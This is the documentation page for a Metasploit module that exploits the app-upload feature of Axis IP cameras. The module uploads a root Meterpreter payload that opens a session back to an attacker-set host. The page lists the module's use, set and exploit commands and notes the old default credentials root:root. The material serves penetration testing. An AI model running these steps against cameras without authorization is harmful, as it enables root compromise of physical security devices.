Vulnerable Application
Description
This module exploits the "Apps" feature in Axis IP cameras. The feature allows third party developers to upload and execute 'eap' applications on the device. The system does not validate the application comes from a trusted source, so a malicious attacker can upload and execute arbitrary code. The issue has no CVE, although the technique was made public in 2018.
This module uploads and executes stageless meterpreter as root via the application upload
feature. The module will also uninstall the application upon completion. Uploading the application
requires valid credentials. The default administrator credentials used to be root:root but
newer firmware versions force users to provide a new password for the root user.
The module was tested on an Axis M3044-V using the latest firmware (9.80.3.8: December 2021). All devices that support the "App" feature are presumed to be vulnerable at this time.
Installation
Axis cameras are physical devices and aren't known to have been successfully emulated. However, if you have a device, affected firmware can be downloaded from:
A free account is required to navigate the site but you can download specific firmware without authentication. For example, the latest version for the Axis M3044-V can be downloaded here:
Verification Steps
- Acquire an affected device
- Do:
use exploit/linux/http/axis_app_install - Do:
set RHOST <ip> - Do:
set PASSWORD <password> - Do:
check - Verify the remote target is flagged as vulnerable
- Do:
set LHOST <ip> - Do:
exploit - You should get a Meterpreter session.
Options
USERNAME
The username to authenticate to the web server with. The default value is "root".
PASSWORD
The password to authenticate to the web server with. The default value is "root".
Scenarios
Axis M3044-V using firmware 9.80.3.8. Get Meterpreter session.
